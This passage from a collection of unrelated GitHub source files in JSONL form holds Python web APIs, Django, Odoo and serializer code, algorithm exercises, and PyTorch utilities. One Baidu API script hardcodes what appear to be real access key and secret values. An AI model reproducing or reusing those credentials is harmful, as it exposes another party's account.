{'credentials' : 'valid'}\n\n@api.get('/performance', tags=['performance'])\n\nasync def get_model_performance(model_name : str, credentials: HTTPBasicCredentials = Depends(security)):\n \"\"\"\n inform the user on the model score on the testing set. Input **model_name** based on the following option :\n* random forest on all branch => rf_global\n* linear regression on all branch => lr_global\n* decision tree on all branch => dt_global\n* random forest on Disneyland hong kong => rf_Disneyland_HongKong\n* random forest on Disneyland California => rf_Disneyland_California\n* random forest on Disneyland Paris => rf_Disneyland_Paris\n \n (Authentification required)\n \"\"\"\n right = has_rights(credentials.username, credentials.password)\n if not right:\n raise HTTPException(\n status_code= status.HTTP_401_UNAUTHORIZED ,\n detail= \"Could not validate credentials\",\n headers= {\"WWW-Authenticate\": \"Basic\"},\n )\n if model_name in available_model:\n return get_score(model_name)\n else:\n return {\"please select an available model from the description list\"}\n\n@api.get('/prediction', tags=['prediction'])\n\nasync def get_model_prediction(model_name : str, comment : str, credentials: HTTPBasicCredentials = Depends(security)):\n \"\"\"\n predict the model score base on the comment given by the user.\n ** PLEASE USE ENGLISH LANGUAGE TO WRITE DOWN THE COMMENT**\n Input **model_name** based on the following option :\n* random forest on all branch => rf_global\n* linear regression on all branch => lr_global\n* decision tree on all branch => dt_global\n* random forest on Disneyland hong kong => rf_Disneyland_HongKong\n* random forest on Disneyland California => rf_Disneyland_California\n* random forest on Disneyland Paris => rf_Disneyland_Paris\n \n (Authentification required)\n \"\"\"\n right = has_rights(credentials.username , credentials.password)\n if not right:\n raise HTTPException(\n status_code= status.HTTP_401_UNAUTHORIZED ,\n detail= \"Could not validate credentials\",\n headers= {\"WWW-Authenticate\": \"Basic\"},\n )\n if model_name in available_model:\n if comment != \"\":\n return get_prediction(comment,model_name)\n else:\n return {\"please add a comment\"}\n else:\n return {\"please select an available model from the description list\"}\n \n","repo_name":"Maxime-Br-git/DisneyPy-at-scale","sub_path":"API/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37770154349","text":"# -----------------------search_dichotomous--------------------------------------\nsearch_method_dichotomous_iterations_list = []\nsearch_method_dichotomous_iterations_label = ['x', 'y', 'start_x', 'end_x', \"center_x\", 'iter']\n\n\ndef search_dichotomous(f, start_x, end_x, epsilon=0.01, iter=500):\n search_method_dichotomous_iterations_list.clear()\n\n def search_method_dichotomous_inner(f, start_x, end_x, epsilon, iter):\n center_x = start_x + (end_x - start_x) / 2\n search_method_dichotomous_iterations_list.append(\n [center_x, f(center_x), start_x, end_x, center_x, iter]\n )\n if abs(end_x - start_x) < epsilon or iter < 0:\n return [start_x, end_x]\n else:\n center_x = start_x + (end_x - start_x) / 2\n left_x = center_x - epsilon / 2.1\n right_x = center_x + epsilon / 2.1\n if f(left_x) < f(right_x):\n return search_method_dichotomous_inner(f, start_x, right_x, epsilon, iter - 1)\n else:\n return search_method_dichotomous_inner(f, left_x, end_x, epsilon, iter - 1)\n\n return search_method_dichotomous_inner(f, start_x, end_x, epsilon, iter)\n","repo_name":"orueI/MMOR","sub_path":"optimization/range/SearchDichotomous.py","file_name":"SearchDichotomous.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17682638531","text":"#!/usr/bin/env python\n\nimport sys\nfrom mako.template import Template\n\nfor curarg in sys.argv[1:]:\n modelname=curarg\n if modelname[-4:]=='.php':\n modelname=modelname[:-4]\n fileout=modelname+'.test.php'\n xmlfile = Template(filename='testmodel')\n fout=open(fileout,'w')\n output=xmlfile.render(modelname=modelname)\n fout.write(output)\n fout.close()\n","repo_name":"tboxmy/mymeeting","sub_path":"app/tests/cases/models/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29838592670","text":"from rest_framework import serializers\n\nfrom .models import LessonProduct\n\nclass LessonProductSerializer(serializers.ModelSerializer):\n \"\"\"\n 레슨 상품 정보\n \"\"\"\n class Meta:\n model = LessonProduct\n fields = [\n \"id\",\n \"title\",\n \"description\",\n \"price\",\n \"main_coach\",\n \"num_sessions\",\n ]\n\n def validate_price(self, value):\n if value < 0:\n raise serializers.ValidationError(\"가격은 0 이상이어야 합니다.\")\n return value\n\n def validate_partial_update(self, data):\n if data == {}:\n raise serializers.ValidationError(\"수정할 필드를 입력해주세요.\")\n return data\n\nclass LessonProductListSerializer(serializers.ModelSerializer):\n \"\"\"\n 레슨 목록 조회용 시리얼라이저\n \"\"\"\n class Meta:\n model = LessonProduct\n fields = [\n \"id\",\n \"title\",\n \"price\",\n \"main_coach\",\n \"num_sessions\",\n ]\n","repo_name":"vietman2/CatchB_Server","sub_path":"products_service/lesson/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33549676324","text":"\"\"\"Diese Klasse enthält den Bot der für das Spiel Mastermind und seine Varianten den letzten\nRateversuch bewertet und beim Initialisieren einen zufälligen Code generiert\"\"\"\nimport random\nfrom pubsub import pub\nfrom mastermind import Colors\n\n\nclass MakerBot:\n \"\"\"Generiert einen zufälligen Code und bewertet Rateversuche\n AUCH BESSER ALS CHATGPT\"\"\"\n\n def __init__(self, colors, code_length):\n self.code = []\n self.colors = colors\n self.code_length = code_length\n self.set_up_code()\n\n def set_up_code(self):\n \"\"\"Erstellt einen zufälligen Code\"\"\"\n for _ in range(0, self.code_length):\n codepart = random.choice(self.colors)\n self.code.append(codepart)\n pub.sendMessage(\"code_set\", code=self.code)\n pub.subscribe(self.create_validation, \"request_validation\")\n\n def create_validation(self, guess):\n \"\"\"\n Bewertet den item code und gibt für jeden richtigen Stein an der\n richtigen Position Colors.BLACK zurück und für richtige Farbe,\n aber an der falschen Stelle des Codes Colors.WHITE\n :param guess: ist ein Array mit 4 bzw. 5 Einträgen\n :return: Die Bewertung als Array gefüllt mit Colors.BLACK und Colors.WHITE\n \"\"\"\n rating = []\n tmp_result = self.code.copy()\n tmp_guess = guess.copy()\n\n # Setzt die Schwarzen Farben für Farbe an richtiger Stelle\n for i in range(len(guess)):\n if tmp_guess[i] == tmp_result[i]:\n tmp_guess[i] = None\n tmp_result[i] = None\n rating.append(Colors.BLACK)\n\n # Setzt die Weißen Farben für Farbe an falscher Stelle\n for i in range(len(tmp_guess)):\n if tmp_guess[i] is not None and tmp_guess[i] in tmp_result:\n tmp_result[tmp_result.index(tmp_guess[i])] = None\n tmp_guess[i] = None\n rating.append(Colors.WHITE)\n\n print(f\"rating: {rating}\")\n pub.sendMessage(\"add_rating\", rating=rating)\n return rating\n","repo_name":"addiGeometry/mastermind","sub_path":"mastermind/mastermind/src/bot/code_maker/maker_bot.py","file_name":"maker_bot.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"29627906488","text":"from django.urls import path\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r\"^/$\", views.PostListView.as_view(), name=\"index\"),\n url(r\"^/about\", views.About.as_view(), name=\"about\"),\n path(\"/\",views.PostListView.as_view(),name=\"post_list\"),\n path(\"/post/\",views.PostDetailView.as_view(),name=\"post_detail\"),\n path(\"/post/new/\",views.CreatePostView.as_view(),name=\"post_create\"),\n path(\"/post/update/\",views.PostUpdateView.as_view(),name=\"post_edit\"),\n path(\"/post/delete/\",views.PostDeleteView.as_view(),name=\"post_delete\"),\n path(\"/post/publish/\",views.post_publish,name=\"post_publish\"),\n path(\"/post/draft/\",views.DraftListView.as_view(),name=\"drafts\"),\n path(\"/post/comment/\",views.add_comment_to_post,name=\"add_comment_post\"),\n path(\"/post/comment/approve/\",views.comment_approve,name=\"comment_approve\"),\n path(\"/post/comment/remove/\",views.comment_remove,name=\"comment_delete\"),\n path(\"/post/comment/publish/\",views.post_publish,name=\"comment_publish\"),\n]\n","repo_name":"jkinathan/djanBlog","sub_path":"myblog/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70058406599","text":"from sys import modules\nimport torch\nimport torch.nn as nn\nfrom torch.nn.modules import module\n\ndef fuse_bn_sequential(module: nn.Module, module_name : str):\n \"\"\"\n This function takes a sequential block and fuses the batch normalization with convolution\n\n :param model: nn.Sequential. Source resnet model\n :return: nn.Sequential. Converted block\n \"\"\"\n children = list(module.children())\n i = 0\n for name, m in module.named_children():\n if i > 0 and isinstance(m, nn.BatchNorm2d):\n if hasattr(m, 'fused'):\n continue\n if m.training:\n continue\n if isinstance(children[i-1], nn.Conv2d):\n if hasattr(children[i-1], 'fused'):\n continue\n bn_st_dict = m.state_dict()\n conv_st_dict = children[i-1].state_dict()\n\n # BatchNorm params\n eps = m.eps\n mu = bn_st_dict['running_mean']\n var = bn_st_dict['running_var']\n gamma = bn_st_dict['weight']\n\n if 'bias' in bn_st_dict:\n beta = bn_st_dict['bias']\n else:\n beta = torch.zeros(gamma.size(0)).float().to(gamma.device)\n\n # Conv params\n W = conv_st_dict['weight']\n if 'bias' in conv_st_dict:\n bias = conv_st_dict['bias']\n else:\n bias = torch.zeros(W.size(0)).float().to(gamma.device)\n try:\n\n denom = torch.sqrt(var + eps)\n b = beta - gamma.mul(mu).div(denom)\n A = gamma.div(denom)\n bias *= A\n A = A.expand_as(W.transpose(0, -1)).transpose(0, -1)\n\n W.mul_(A)\n bias.add_(b)\n\n children[i-1].weight.data.copy_(W)\n if children[i-1].bias is None:\n children[i-1].bias = torch.nn.Parameter(bias)\n else:\n children[i-1].bias.data.copy_(bias)\n \n children[i-1].fused = True\n children[i].fused = True\n setattr(module, name, nn.Identity())\n print(f'BatchNorm fused with Conv: {module_name}.{name}')\n except:\n pass\n i += 1 \n\n\ndef fuse_bn_recursively(model):\n for m_name, m in model.named_modules():\n if len(list(m.children())) > 0:\n fuse_bn_sequential(m, m_name)\n\n return model","repo_name":"thomasverelst/blockcopy-video-processing-pytorch","sub_path":"semantic_segmentation/lib/utils/bn_fusion.py","file_name":"bn_fusion.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"62"} +{"seq_id":"38557493138","text":"class Employee:\n company_name = \"Apple\"\n raise_percentage = 1.03\n\n def __init__(self, name, wage):\n self.name = name\n self.wage = wage\n\n def raise_pay(self):\n self.wage *= self.raise_percentage\n\n def __str__(self):\n return Employee.company_name + \" 직원: \" + self.name\n\nclass Cashier(Employee):\n\n raise_percentage = 1.05\n phone_price = 4000\n\n def __init__(self, name, wage, number_sold):\n super().__init__(name, wage) #super 는 자식class 에서 부모 class의 method 호출 시 사용, self 사용 안해도됨\n self.number_sold = number_sold\n\n def take_order(self, money_received):\n if Cashier.phone_price > money_received:\n print(\"돈이 충분하지 않습니다\")\n return money_received\n else:\n self.number_sold += 1\n change = money_received - Cashier.phone_price\n return change\n\n def __str__(self):\n return Cashier.company_name + \" 계산대 직원: \" + self.name\n\nclass Delievery(Employee):\n pass\n\n\n\njiwoon = Cashier(\"jiwoon\", 8900, 0)\njiwoon.raise_pay()\n\nsunghyun = Delievery(\"sunghyun\", 10000)\nprint(jiwoon.wage)\nprint(jiwoon)\nprint(sunghyun)\n\nprint(Cashier.mro())\nprint(list.mro())\nprint(isinstance(jiwoon, Cashier))\nprint(isinstance(jiwoon, Delievery))\nprint(isinstance(jiwoon, Employee))\n\nprint(issubclass(Cashier, object))\nprint(issubclass(Cashier, Employee))\nprint(issubclass(Cashier, Delievery))","repo_name":"YONGJINJO/Python","sub_path":"OOP/Chap 6/employee.py","file_name":"employee.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3721167399","text":"def is_Sublist(smaller, larger):\n if smaller == [] or smaller == larger or len(smaller) == 1:\n return True\n for i in range(len(smaller)):\n for j in range(len(larger)):\n if smaller[i] == larger [j] and smaller[i + 1] == larger[j + 1]:\n return True\n return False\ns = [2, 3]\nl = [1, 2, 3, 4, 5]\nprint (is_Sublist(s,l))","repo_name":"HayrapetyanSergey/Academy_22.07","sub_path":"problem_7.py","file_name":"problem_7.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25474893499","text":"import tkinter as tk\n\nwindow = tk.Tk()\nwindow.title('my window')\nwindow.geometry('200x200') # 尺寸\ne = tk.Entry(window, show=None)\ne.pack() # 放在窗口上\n\n\ndef insert_point():\n var = e.get()\n t.insert('insert', var)\n\n\ndef insert_end():\n var = e.get()\n t.insert('end', var)\n\n\n# 插入到当前位置\nb1 = tk.Button(\n window,\n text='insert point',\n width=15,\n height=2,\n command=insert_point)\nb1.pack()\n# 插入到最后\nb2 = tk.Button(window, text='insert_end', command=insert_end)\nb2.pack()\n# 文本框\nt = tk.Text(window, height=2)\nt.pack()\n# 相当于一个while循环\nwindow.mainloop()\n","repo_name":"aisanfen/shudy_home","sub_path":"tkinter/Entry_Text.py","file_name":"Entry_Text.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34503262421","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def bstFromPreorder(self, preorder: List[int]) -> TreeNode:\n return self.buildTree(0,len(preorder)-1,preorder)\n \n def buildTree(self,start,end,preorder):\n if start > end:\n return\n \n root = TreeNode(preorder[start])\n i = pre_start\n \n while i<= pre_end:\n if preorder[i] > preorder[start]:\n break\n i+=1\n \n root.left = self.buildTree(start+1,i-1,preorder)\n root.right = self.buildTree(i,end,preorder)\n return root\n","repo_name":"MAInformatico/LeetCode","sub_path":"30dayscoding/BSTFromPreorder.py","file_name":"BSTFromPreorder.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72259144197","text":"def toOctal(n):\n base = 1; result = 0\n while n > 0:\n a = n % 10\n if a >= 8: return 0\n\n result += (a * base)\n base *= 8\n n //= 10\n\n return result\n\ndef toHexa(n):\n base = 1; result = 0\n while n > 0:\n a = n % 10\n result += (a * base)\n base *= 16\n n //= 10\n\n return result\n\nfor i in range(int(input())):\n K, num = map(int, input().split())\n print(K, toOctal(num), num, toHexa(num))\n","repo_name":"chiseungii/baekjoon","sub_path":"13877.py","file_name":"13877.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"189218992","text":"class Node(object):\n next = None\n data = None\n \n def __init__(self, data):\n self.data = data\n\n def __repr__(self):\n n = self\n ret = \"[{}\".format(n.data)\n while n.next != None:\n n = n.next\n ret += \", {}\".format(n.data)\n\n ret += \"]\"\n return ret\n\n def append(self, data):\n end = Node(data)\n n = self\n while n.next != None:\n n = n.next\n\n n.next = end\n\n def array(self):\n n = self\n lst = [n.data]\n while n.next != None:\n n = n.next\n lst.append(n.data)\n\n return lst\n\n def get(self, i):\n j = 0\n ll = self\n while j < i and ll:\n ll = ll.next\n j += 1\n\n return ll\n\n\ndef partition1(ll, data):\n head = None\n right = None\n left = None\n prev = None\n while ll:\n if ll.data < data:\n if not left:\n left = ll\n head = ll\n else:\n left.next = ll\n left = left.next\n\n if prev:\n prev.next = ll.next\n else:\n if not right:\n right = ll\n prev = ll\n\n ll = ll.next\n\n if head:\n left.next = right\n return head\n\n return right\n \n\n\ndef build(lst):\n head = None\n prev = None\n for item in lst:\n n = Node(item)\n if prev:\n prev.next = n\n else:\n head = n\n\n prev = n\n\n return head\n\n\nimport pytest\n\n\n@pytest.mark.parametrize(\"array\", [\n [1, 2, 3],\n [1, 2, 3, 4],\n [1, 2, 3, 4, 5],\n [1, 2, 3, 4, 5, 6],\n])\ndef test_get(array):\n n = len(array)\n ll = build(array)\n\n for i in range(n):\n print(i)\n assert ll.get(i).data == array[i]\n\n\n@pytest.mark.parametrize(\"array\", [\n [1, 2, 3],\n [1, 2, 3, 4],\n [1, 2, 3, 4, 5],\n [1, 2, 3, 4, 5, 6],\n])\ndef test_build(array):\n assert build(array).array() == array\n\n\n@pytest.mark.parametrize(\"array,item,expected\", [\n ([3, 5, 8, 5, 10, 2, 1], 5, [3, 2, 1, 5, 8, 5, 10]),\n ([7, 2, 3, 9, 10, 1, 9, 8, 4, 8], 5, [2, 3, 1, 4, 7, 9, 10, 9, 8, 8]),\n ([2, 3, 9, 5, 9, 1, 7, 5, 5, 4], 5, [2, 3, 1, 4, 9, 5, 9, 7, 5, 5]),\n ([3, 6, 4, 5, 3, 6, 10, 4, 7, 9], 5, [3, 4, 3, 4, 6, 5, 6, 10, 7, 9]),\n ([3, 6, 4, 5, 3, 6, 10, 4, 7, 9], 0, [3, 6, 4, 5, 3, 6, 10, 4, 7, 9]),\n ([3, 6, 4, 5, 3, 6, 10, 4, 7, 9], 1, [3, 6, 4, 5, 3, 6, 10, 4, 7, 9]),\n ([3, 6, 4, 5, 3, 6, 10, 4, 7, 9], 2, [3, 6, 4, 5, 3, 6, 10, 4, 7, 9]),\n])\ndef test_partition(array, item, expected):\n ll = build(array)\n partitioned = partition1(ll, item)\n print(partitioned)\n assert partitioned.array() == expected\n\n\npytest.main()\n","repo_name":"MrCsabaToth/coderpad","sub_path":"cci_2_4.py","file_name":"cci_2_4.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35689224309","text":"__author__ = 'viking'\n# transform left and right probing to adjacent columns using present columns test2\nfrom utilities import *\n# renames wafers\nxlocoffset=1750\npathname=\"/carbonics/owncloudsync/X.Selected_Measurements/L15/L15meas2\"\n#pathname='/home/viking/ownCloud/X.Selected_Measurements/L16/L16meas1'\nfilenamecontains='.xls'\npathname_mod=pathname+sub('DC')\nnewpath=pathname+'/new'\nif not os.path.exists(newpath):\t\t\t\t\t\t\t\t\t\t\t# if necessary, make the directory to contain the data\n\t\tos.makedirs(newpath)\nfilelisting = os.listdir(pathname_mod)\n\nelimfromdev=['xls','_foc.','_transfer.','_transferloop.','_transferloop4.','.S2P','_pulseddraintimedomain.','_pulsedtimedomain.','_loop4foc.','_loopfoc.'] # substrings to eliminate from filenames to form devicenames\n#elimfrom_proberesistancetest='D11_' # remove this from the probe resistance test data files\n\nfor fnameold in filelisting:\n\tif os.path.isfile(pathname_mod+'/'+fnameold) and parse_rpn(targetfilename=fnameold,expression=filenamecontains):\n\t\tprint(fnameold)\n\t\tdfr=open(pathname_mod+'/'+fnameold,'r')\n\t\tdataf=dfr.read()\n\t\tdfr.close()\n\t\toldlines = [l for l in dataf.splitlines()]\n\n\t\t#colnumberold=fnameold[fnameold.index('_C')+2]\n\t\tcolnumberold=fnameold.split('_C')[1].split('_')[0].strip()\n\t\tif '_RP_' in fnameold:\n\t\t\tcolnumbernew=str(int(colnumberold)+1)\n\t\t\tfnamenew=fnameold.replace('RP_','').replace('C'+colnumberold,'C'+colnumbernew)\n\t\t\t#fnamenew = fnameold.replace('_RP', '').replace('C' + colnumberold, 'C' + colnumbernew)\n\t\t\tfor l in oldlines:\n\t\t\t\tif 'x probeing location um' in l or 'x location um' in l:\n\t\t\t\t\toldxlocprobe = l.split('\\t')[1] # find old value of xloc which will need to be modified\n\t\t\t\t\toldxlocline=l # old line containing old x probe location\n\t\t\t\t\tnewxlocline=l.replace(oldxlocprobe,str(int(oldxlocprobe)+xlocoffset))\n\t\t\t\t\tdataf=dataf.replace(oldxlocline,newxlocline)\n\t\telif '_LP_' in fnameold:\n\t\t\tfnamenew=fnameold.replace('LP_','')\n\t\t\t#fnamenew = fnameold.replace('_LP', '')\n\n\t\t#if 'proberesistancetest' in fnamenew: fnamenew=fnamenew.replace(elimfrom_proberesistancetest,'')\n\t\tdevnameold=fnameold\n\t\tdevnamenew=fnamenew\n\t\tfor e in elimfromdev:\n\t\t\tdevnameold=devnameold.replace(e,'') # form old device name\n\t\t\tdevnamenew=devnamenew.replace(e,'') # form new device name\n\t\tdfw=open(\"\".join([newpath,'/',fnamenew]),'w') # make new device file\n\t\t#print(\" new name =\",dfw)\n\t\tprint(\" new name =\", devnameold, devnamenew)\n\t\tdfw.write(dataf.replace(devnameold,devnamenew)) # replace all instances of old device name with the new device name in the new file and write to disk\n\t\tdfw.close()","repo_name":"montanaviking/waferprobe","sub_path":"filerename_scripts/renamewafer_v2dual.py","file_name":"renamewafer_v2dual.py","file_ext":"py","file_size_in_byte":2675,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"30408684204","text":"import fileinput as fi\nfrom itertools import takewhile, islice\n\ndef get_cards():\n G = map(str.strip, fi.input())\n p1d = list(map(int, takewhile(bool, islice(G,1,None))))\n p2d = list(map(int, takewhile(bool, islice(G,1,None))))\n return p1d, p2d\n\n# Returns True for p1d and False for p2d\n# modifies both p1d and p2d. Seen is a set\ndef game(p1d, p2d, seen):\n while p1d and p2d:\n zs = tuple(p1d)\n if zs in seen:\n return True\n seen.add(zs)\n\n p1, p2 = p1d.pop(0), p2d.pop(0)\n\n if p1 <= len(p1d) and p2 <= len(p2d):\n winner = game(p1d[:p1], p2d[:p2], set())\n else:\n winner = p2 < p1\n\n if winner:\n p1d.extend((p1, p2))\n else:\n p2d.extend((p2, p1))\n\n return bool(p1d)\n\n\np1d, p2d = get_cards()\ngame(p1d, p2d, set())\n\nans = 0\nfor i, x in enumerate(reversed(p1d or p2d), 1):\n ans += i*x\nprint(ans)\n","repo_name":"rHermes/adventofcode","sub_path":"2020/22/y2020_d22_p02.py","file_name":"y2020_d22_p02.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"600328839","text":"import logging\nfrom typing import List\nimport re\n\nfrom .parser import Parser\nfrom .operations import TOKENS\nfrom .memory import MemoryValue, MEMORY\n\n\nCODE_LABEL = re.compile(r\"^(\\w+):$\")\nDATA_LABEL = re.compile(r\"^(\\w+): \\.data (\\d+)$\")\nARGUMENTS = re.compile(r\"^\\w+ (.+)$\")\n\n\ndef preprocess_code(data: List[str]) -> List[str]:\n logger = logging.getLogger(\"Preprocessor\")\n labels = {}\n data_offset = 1000\n\n data = [line for line in data if line != \"\" and not line.startswith(\"#\")]\n\n new_code = []\n\n # Generate labels for data sections\n logger.debug(\"Generating labels for data sections\")\n for line in data:\n if DATA_LABEL.match(line):\n logger.debug(f\"\\tLine {line} has data section\")\n results = DATA_LABEL.findall(line)[0]\n labels[results[0]] = data_offset\n logger.debug(f\"\\tInserting INIT statement: INIT {data_offset}, {results[1]}\")\n new_code.insert(0, f\"INIT {data_offset}, {results[1]}\")\n data_offset += 1\n else:\n logger.debug(f\"\\tLine {line} has no data section\")\n new_code.append(line)\n\n data = new_code\n new_code = []\n\n data_length = len(labels)\n\n # Generate labels for code sections\n logger.debug(\"Generating labels for code sections\")\n for i, line in enumerate(data):\n if CODE_LABEL.match(line):\n logger.debug(f\"\\tLine {line} has code label\")\n labels[CODE_LABEL.findall(line)[0]] = i + 1 - len(labels) + data_length\n else:\n logger.debug(f\"\\tLine {line} does not have a code label\")\n new_code.append(line)\n\n data = new_code\n new_code = []\n\n # Replace all label references with memory addresses\n logger.debug(\"Replacing label references\")\n for line in data:\n operation = line.split(\" \")[0]\n args = ARGUMENTS.findall(line)\n new_args = []\n if args:\n args = args[0].split(\", \")\n for arg in args:\n if arg in labels:\n new_args.append(str(labels[arg]))\n else:\n new_args.append(arg)\n if len(new_args) != 0:\n new_line = operation + \" \" + \", \".join(new_args)\n else:\n new_line = operation\n new_code.append(new_line)\n logger.debug(f\"\\t{line} -> {new_line}\")\n\n return new_code\n\n\ndef load_file(filename: str, log_level: int = logging.WARNING):\n \"\"\"\n Parses and loads a file into memory\n\n :param log_level: The log level for the parser\n :param filename: The name of the file to load\n \"\"\"\n parser = Parser(log_level)\n with open(filename) as f:\n processed_file = preprocess_code(list(map(lambda x: x.strip(), f.readlines())))\n statements = parser.parse_list(processed_file)\n\n for statement in statements:\n if statement.operation == TOKENS[\"ANCHOR\"]:\n MEMORY.memory_counter = statement.arguments[0]\n else:\n val = MemoryValue()\n val.statement = statement\n MEMORY.insert_value(val)\n\n\ndef run():\n \"\"\"\n Runs the program currently loaded into memory\n \"\"\"\n logger = logging.getLogger(\"Interpreter\")\n while MEMORY.pc.value <= MEMORY.get_max_address():\n current_pc = MEMORY.pc.value\n try:\n value = MEMORY.get_value_at_address(current_pc)\n except KeyError:\n break\n logger.debug(f\"{value.statement.operation} {value.statement.arguments}\")\n value.statement.execute()\n\n if MEMORY.pc.value == current_pc:\n MEMORY.pc.value += 1\n","repo_name":"nint8835/InvitationASM","sub_path":"InvitationASM/interpreter.py","file_name":"interpreter.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36421668199","text":"from odoo.tests import common\nfrom odoo.exceptions import ValidationError\nimport datetime\nclass TestModelB(common.TransactionCase):\n doc = ''\n record = ''\n\n def test_some_action(self):\n red = '\\033[91m'\n green = '\\033[92m'\n normal = '\\033[92m'\n doc = self.env['hospital.doctors'].create({'name': 'doc003', 'date_of_birth': datetime.datetime(1950, 12, 12)})\n record = self.env['hospital.patient'].create({'patient_name': 'fg003', 'ref': doc.id, 'date_of_birth': datetime.datetime(2000, 12, 12)})\n\n print(' ================== normal creation test ==================')\n appointment = self.env['create.appointment.wizard'].create({'patient_id': record.id, 'doctor': doc.id, 'appointment_time': datetime.datetime(datetime.datetime.today().year+1, 12, 12)})\n print(f'{green}================== normal creation test finished ==================')\n\n print(' ================== date constraint test ==================')\n with self.assertRaises(ValidationError):\n self.env['create.appointment.wizard'].create({'patient_id': record.id, 'doctor': doc.id, 'appointment_time': datetime.datetime(2050, 12, 12)})\n print(f'{red}================== date constraint test failed ==================')\n print(f'{green}================== date constraint test finished ==================')\n\n print(' ================== making an appointment test ==================')\n appointment.make_an_appointment()\n print(f'{green}================== making an appointment test finished ==================')\n\n print(' ================== view appointments test ==================')\n appointment.view_appointments()\n print(f'{green}================== view appointments test finished ==================')\n","repo_name":"Ahmed-Jarir/odooHospitalProject","sub_path":"custom-addons/om_hospital/tests/test_Create_Appointment_Wiz.py","file_name":"test_Create_Appointment_Wiz.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18925832952","text":"# encoding:utf-8\nimport requests \n\n# client_id 为官网获取的AK, client_secret 为官网获取的SK\nAK='I5cziBig8fOLWUdUmOt7Hfjr'\nSK='D8pwGGnFcVxC5QvGQkB8gB39wBODdsyP'\nhost = 'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id={}&client_secret={}'.format(AK,SK)\nresponse = requests.get(host)\nif response:\n print(response.json())","repo_name":"yabxingzi/test","sub_path":"百度接口/access_token.py","file_name":"access_token.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73033120837","text":"import torch\r\nimport torch.nn.functional as F\r\nimport torchvision\r\nfrom torchvision.models._utils import IntermediateLayerGetter\r\nfrom torch import nn\r\n\r\n\r\nclass FrozenBatchNorm2d(nn.Module):\r\n def __init__(self, n, eps=1e-6):\r\n super(FrozenBatchNorm2d, self).__init__()\r\n self.register_buffer(\"weight\", torch.ones(n))\r\n self.register_buffer(\"bias\", torch.zeros(n))\r\n self.register_buffer(\"running_mean\", torch.zeros(n))\r\n self.register_buffer(\"running_var\", torch.zeros(n))\r\n self.eps = eps\r\n\r\n def forward(self, x):\r\n w = self.weight.reshape(1, -1, 1, 1)\r\n b = self.bias.reshape(1, -1, 1, 1)\r\n var = self.running_var.reshape(1, -1, 1, 1)\r\n mean = self.running_mean.reshape(1, -1, 1, 1)\r\n scale = w * (var + self.eps).rsqrt()\r\n bias = b - mean * scale\r\n return x * scale + bias\r\n\r\n\r\nclass BackboneBase(nn.Module):\r\n def __init__(self, backbone: nn.Module, train_backbone: bool, num_channels: int, return_interm_layers: bool):\r\n super().__init__()\r\n for name, parameter in backbone.named_parameters():\r\n if not train_backbone:\r\n parameter.requires_grad_(False)\r\n if return_interm_layers:\r\n return_layers = {'layer1': 'feat1', 'layer2': 'feat2', 'layer3': 'feat3', 'layer4': 'feat4'}\r\n else:\r\n return_layers = {'layer4': 'feat4'}\r\n self.body = IntermediateLayerGetter(backbone, return_layers=return_layers)\r\n self.num_channels = num_channels\r\n\r\n def forward(self, inputs):\r\n xs = self.body(inputs)\r\n out = []\r\n for _, v in xs.items():\r\n out.append(v)\r\n return out\r\n\r\n\r\nclass Backbone(BackboneBase):\r\n def __init__(self, name: str, train_backbone: bool, return_interm_layers: bool, dilation: bool):\r\n backbone = getattr(torchvision.models, name)(pretrained=True,\r\n replace_stride_with_dilation=[False, False, dilation],\r\n norm_layer=FrozenBatchNorm2d)\r\n num_channels = 512 if name in ('resnet18', 'resnet34') else 2048\r\n super().__init__(backbone, train_backbone, num_channels, 